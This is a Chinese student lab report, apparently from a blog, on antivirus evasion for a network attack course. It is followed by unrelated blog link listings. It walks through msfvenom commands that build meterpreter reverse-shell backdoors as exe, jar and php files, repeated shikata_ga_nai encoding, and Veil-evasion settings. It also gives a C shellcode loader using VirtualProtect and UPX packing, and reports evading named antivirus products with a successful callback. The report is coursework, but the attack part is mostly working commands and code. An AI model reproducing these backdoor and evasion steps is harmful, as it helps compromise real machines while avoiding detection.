2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践

免杀
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

1、杀软是如何检测出恶意代码的?

  • 基于特征码:杀软会将恶意代码中有明显特征的一部分作为特征码,并建立起特征库,在检测时则比对特征码是否匹配。
  • 基于行为:杀软会监控运行的程序,像进行修改系统注册表、启动项等可疑操作的的程序就可能是恶意代码。

    2、免杀是做什么?
  • 让后门程序不被杀软检测出来

    3、免杀的基本方法有哪些?
  • msfvenom直接生成、msfvenom多次编码、Veil-evasion、C+shellcode、UPX压缩壳、Hyperion

    4、离实战还缺些什么技术或步骤?
  • 缺少将后门植入的操作:比如把后门安插到正常的软件包中,或者利用目标机已有的软件漏洞实现后门植入。

实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

1、使用msf编码器

  • 通过上个实验中学到的命令生成后门程序

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168. 43.171 LPORT=5228 -f exe > met.exe

  • 将生成的程序上传到virus total试试结果

  • 使用msf编码器对后门程序编码10次

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.43.171 LPORT=5228 -f exe > met-encoded10.exe

  • 再上传到virus total试试免杀操作是否有效

2、使用msfvenom生成jar

  • 使用Java后门程序生成命令

    msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.43.171 lport=5228 x> 20165228_backdoor_java.jar



    3、使用msfvenom生成php
  • 使用php后门程序生成命令

    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20165228_backdoor.php

4、使用veil-evasion

我的kali版本比较新,好像说比较新的版本没有自带的veil....

于是,先>!%_&&%,再*&(%%+##,最后@$#%%&&&&,我的veil终于能用了。

。 。 。 。 。此处省略一天一夜

  • 设置veil
use evasion
use 7
set LHOST 192.168.43.171
set LPORT 5228

  • 然后输入后门程序的文件名就可以啦

  • 于是把它挂上virus total看看表现如何

5、利用shellcode编程

  • 先执行shellcode生成命令

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.171 LPORT=5228 -f c
  • 得到shellcode

任务二:Linux平台交叉编译Windows应用

1、使用交叉编译

  • 新建.c文件,将shellcode和c代码组合到一起
vim 5228met.c
unsigned char buf[] =
将shellcode替换到此处
int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 执行i686-w64-mingw32-g++ met.c -o met.exe生成可执行的后门程序

  • 然后把它挂上virus total测一下

2、使用````c+shellcode+加压缩壳```

实验环境:被控机是win10实体机,装有腾讯安全管家

原理:将shellcode替换到以上代码的数组后给编译生成的EXE文件加壳中达到免杀效果

  • 先生成shellcode
  • 制作用C调用shellcode的代码
#include "stdafx.h"
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h> //192.168.6.129 443 reverse_tcp
const char met[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"此处省去若干行"
"\x53\xff\xd5"; int main()
{
DWORD old = 0;
BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
INT32 * addr;
addr =(INT32*) &met; __asm;
{
call addr;
}
return 0;
}
  • 使用VS编译成exe可执行文件

  • 加压缩壳

    upx cal.exe -o cal_upxed.exe

  • 使用杀软扫描,未报警,就这样骗过了杀软,达到免杀效果(其实不加壳我的杀软也不报警...)

  • 运行后门程序,反弹连接成功。



任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

实验环境:被控机是win7虚拟机,装有金山毒霸

(我保留了用vs编译的最初c+shellcode版本,以及在此基础上加压缩壳的版本、再加加密壳的版本。一共三个版本,结果两个加壳的都被金山杀了,只剩最初的未加壳版本)

  • 本机打开msf控制台,开始监听
  • 受控机运行后门程序





问题

  • 在安装veil时遇到了很多不明的问题... 执行veil-evasion安装veil时经常会卡进度TAT

    解决:参考相关博客,最后进入/opt/Veil-Evasion 运行,/Veil-Evasion.py就成功啦
  • 在交叉编译时出现以下错误:



    解决 :我的kali里没有自带的minw64编译器,所以需要sudo apt-get install mingw-w64来安装。
  • 为什么在某些情况下, 加壳的程序反而更容易被杀软报警?

    个人想法:杀软只是根据加壳这个特征判断程序可疑,而并不是因为具体的程序作用,我百度了一下... 正常的软件加壳后也很可能被误报。

实验感想

  • 此次实验让我对免杀技术有了新的认识,比如通过不同的编程语言重写、多次编码等,都是十分新鲜的东西。不过也让我认识到安装杀软有时候可能并没有什么用,它只能按照已有的特征码或者比较有效的启发式鉴别木马和后门程序,虽然病毒库随时都在更新,但像实验中刚做出来的后门程序肯定不在病毒库之列,于是它就可以为所欲为。所以,为了系统安全和信息不泄露,就要谨慎冲浪,即使是软件官网的安装包,也要验证md5值后再下载安装,从根源上避免问题。

2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

随机推荐

  1. Hive中数据的导入与导出

    最近在做一个小任务,将一个CDH平台中Hive的部分数据同步到另一个平台中.毕竟我也刚开始工作,在正式开始做之前,首先进行了一段时间的练习,下面的内容就是练习时写的文档中的内容.如果哪里有错误或者疏漏 ...

  2. 维修数列 Splay(这可能是我写过最麻烦的题之一了。。。用平衡树维护dp。。。丧心病狂啊。。。。)

    题目来源BZOJ1500 这题的思路: 1.这题的话,稍微会splay的人,一般前面四个都不是问题..主要是最后的一个,要你在修改的同时要维护好最大字段和... 2.最大字段和其实就是区间合并.具体操 ...

  3. 在vue中添加sass的配置的方法

    1.安装sass的依赖包 npm install --save-dev sass-loader //sass-loader依赖于 node-sass npm install --save-dev no ...

  4. md 常用语法

    序言: 起因: 因为现在的前端基本上都用上了前端构建工具,那就难免要写一些readme等等的说明性文件,但是这样的文件一般都是.md的文件,编写的语法自然跟其他格式的文件有所区别,置于为什么要用这种格 ...

  5. lumion的物体系统5.30

    1.“自然"点击这棵树.可以打开自然库.不同的植物分类有很多页数. 选择一棵树,自动返回页面单击鼠标左键可以种植这个树.成排种树:点击”人群安置“点击我们想安置的起点.再点击终点.用鼠标右键 ...

  6. 版本管理工具小乌龟TortoiseGit的安装和使用(1)

    1.软件的安装:1.1 安装 Git使用软件管理工具搜索 Git:

  7. Object.keys方法之详解

    在实际开发中,我们有时需要知道对象的所有属性,原生js给我们提供了一个很好的方法:Object.keys(),该方法返回一个数组 传入对象,返回属性名 var obj = {'a':'123','b' ...

  8. 数据库SQL优化大总结1之- 百万级数据库优化方案

    转载自:https://blog.csdn.net/wuhuagu_wuhuaguo/article/details/72875054

  9. python之路-----MySql操作二

    一.主键 1.每个 表只有一个主键 2.每个主键可以由多个列组成.(如果主键由多个组成,只要有一行列值不等即可) CREATE TABLE NAME ( id INT auto_increment, ...

  10. bash快捷方式

    cmd /k "cd /d E:/site/collect/"                                                            ...